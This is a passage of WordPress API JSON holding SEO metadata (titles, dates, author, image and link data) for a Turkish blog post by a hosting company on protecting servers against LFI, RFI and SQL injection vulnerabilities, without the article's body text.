G\u00fcvenli\u011fi\",\"datePublished\":\"2025-04-22T05:35:14+00:00\",\"dateModified\":\"2025-04-22T05:35:16+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#webpage\"},\"wordCount\":689,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/www.cenuta.com\/blog\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.cenuta.com\/blog\/wp-content\/uploads\/2025\/04\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi.jpg\",\"keywords\":[\"G\u00fcvenlik\",\"Sunucu\"],\"articleSection\":[\"Sunucu\"],\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#respond\"]}]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.cenuta.com\/blog\/#\/schema\/person\/c3f8b14a9a6acaea989a4fe54816fcb4\",\"name\":\"\u00d6mer Y\u00fcksel\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\/\/www.cenuta.com\/blog\/#personlogo\",\"inLanguage\":\"tr\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/bf728f844bc7928492269e4485efa490?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/bf728f844bc7928492269e4485efa490?s=96&d=mm&r=g\",\"caption\":\"\u00d6mer Y\u00fcksel\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/","og_locale":"tr_TR","og_type":"article","og_title":"LFI, RFI, SQL Injection Gibi Zafiyetlere Kar\u015f\u0131 Sunucu G\u00fcvenli\u011fi - Cenuta Blog","og_description":"Web uygulamalar\u0131n\u0131n g\u00fcvenli\u011fi, sadece yaz\u0131l\u0131m katman\u0131nda de\u011fil, ayn\u0131 zamanda sunucu...","og_url":"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/","og_site_name":"Cenuta Blog","article_publisher":"https:\/\/www.facebook.com\/cenutacom","article_published_time":"2025-04-22T05:35:14+00:00","article_modified_time":"2025-04-22T05:35:16+00:00","og_image":[{"width":1250,"height":750,"url":"https:\/\/www.cenuta.com\/blog\/wp-content\/uploads\/2025\/04\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi.jpg","type":"image\/jpeg"}],"twitter_card":"summary_large_image","twitter_creator":"@cenutacom","twitter_site":"@cenutacom","twitter_misc":{"Yazan:":"\u00d6mer Y\u00fcksel","Tahmini okuma s\u00fcresi":"4 dakika"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Organization","@id":"https:\/\/www.cenuta.com\/blog\/#organization","name":"Cenuta Telekom\u00fcnikasyon Anonim \u015eirketi","url":"https:\/\/www.cenuta.com\/blog\/","sameAs":["https:\/\/www.facebook.com\/cenutacom","https:\/\/www.instagram.com\/cenutacom\/","https:\/\/www.linkedin.com\/company\/cenuta","https:\/\/www.youtube.com\/cenuta","https:\/\/twitter.com\/cenutacom"],"logo":{"@type":"ImageObject","@id":"https:\/\/www.cenuta.com\/blog\/#logo","inLanguage":"tr","url":"https:\/\/www.cenuta.com\/blog\/wp-content\/uploads\/2020\/08\/logo_siyah.png","contentUrl":"https:\/\/www.cenuta.com\/blog\/wp-content\/uploads\/2020\/08\/logo_siyah.png","width":805,"height":200,"caption":"Cenuta Telekom\u00fcnikasyon Anonim \u015eirketi"},"image":{"@id":"https:\/\/www.cenuta.com\/blog\/#logo"}},{"@type":"WebSite","@id":"https:\/\/www.cenuta.com\/blog\/#website","url":"https:\/\/www.cenuta.com\/blog\/","name":"Cenuta Blog","description":"","publisher":{"@id":"https:\/\/www.cenuta.com\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.cenuta.com\/blog\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"tr"},{"@type":"ImageObject","@id":"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#primaryimage","inLanguage":"tr","url":"https:\/\/www.cenuta.com\/blog\/wp-content\/uploads\/2025\/04\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi.jpg","contentUrl":"https:\/\/www.cenuta.com\/blog\/wp-content\/uploads\/2025\/04\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi.jpg","width":1250,"height":750},{"@type":"WebPage","@id":"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#webpage","url":"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/","name":"LFI, RFI, SQL Injection Gibi Zafiyetlere Kar\u015f\u0131 Sunucu G\u00fcvenli\u011fi - Cenuta Blog","isPartOf":{"@id":"https:\/\/www.cenuta.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#primaryimage"},"datePublished":"2025-04-22T05:35:14+00:00","dateModified":"2025-04-22T05:35:16+00:00","breadcrumb":{"@id":"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#breadcrumb"},"inLanguage":"tr","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Ana sayfa","item":"https:\/\/www.cenuta.com\/blog\/"},{"@type":"ListItem","position":2,"name":"LFI, RFI, SQL Injection Gibi Zafiyetlere Kar\u015f\u0131 Sunucu G\u00fcvenli\u011fi"}]},{"@type":"Article","@id":"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#article","isPartOf":{"@id":"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#webpage"},"author":{"@id":"https:\/\/www.cenuta.com\/blog\/#\/schema\/person\/c3f8b14a9a6acaea989a4fe54816fcb4"},"headline":"LFI, RFI, SQL Injection Gibi Zafiyetlere Kar\u015f\u0131 Sunucu G\u00fcvenli\u011fi","datePublished":"2025-04-22T05:35:14+00:00","dateModified":"2025-04-22T05:35:16+00:00","mainEntityOfPage":{"@id":"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#webpage"},"wordCount":689,"commentCount":0,"publisher":{"@id":"https:\/\/www.cenuta.com\/blog\/#organization"},"image":{"@id":"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#primaryimage"},"thumbnailUrl":"https:\/\/www.cenuta.com\/blog\/wp-content\/uploads\/2025\/04\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi.jpg","keywords":["G\u00fcvenlik","Sunucu"],"articleSection":["Sunucu"],"inLanguage":"tr","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#respond"]}]},{"@type":"Person","@id":"https:\/\/www.cenuta.com\/blog\/#\/schema\/person\/c3f8b14a9a6acaea989a4fe54816fcb4","name":"\u00d6mer Y\u00fcksel","image":{"@type":"ImageObject","@id":"https:\/\/www.cenuta.com\/blog\/#personlogo","inLanguage":"tr","url":"https:\/\/secure.gravatar.com\/avatar\/bf728f844bc7928492269e4485efa490?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/bf728f844bc7928492269e4485efa490?s=96&d=mm&r=g","caption":"\u00d6mer Y\u00fcksel"}}]}},"_links":{"self":[{"href":"https:\/\/www.cenuta.com\/blog\/wp-json\/wp\/v2\/posts\/23200","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.cenuta.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.cenuta.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.cenuta.com\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.cenuta.com\/blog\/wp-json\/wp\/v2\/comments?post=23200"}],"version-history":[{"count":1,"href":"https:\/\/www.cenuta.com\/blog\/wp-json\/wp\/v2\/posts\/23200\/revisions"}],"predecessor-version":[{"id":23201,"href":"https:\/\/www.cenuta.com\/blog\/wp-json\/wp\/v2\/posts\/23200\/revisions\/23201"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.cenuta.com\/blog\/wp-json\/wp\/v2\/media\/23202"}],"wp:attachment":[{"href":"https:\/\/www.cenuta.com\/blog\/wp-json\/wp\/v2\/media?parent=23200"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.cenuta.com\/blog\/wp-json\/wp\/v2\/categories?post=23200"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.cenuta.com\/blog\/wp-json\/wp\/v2\/tags?post=23200"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}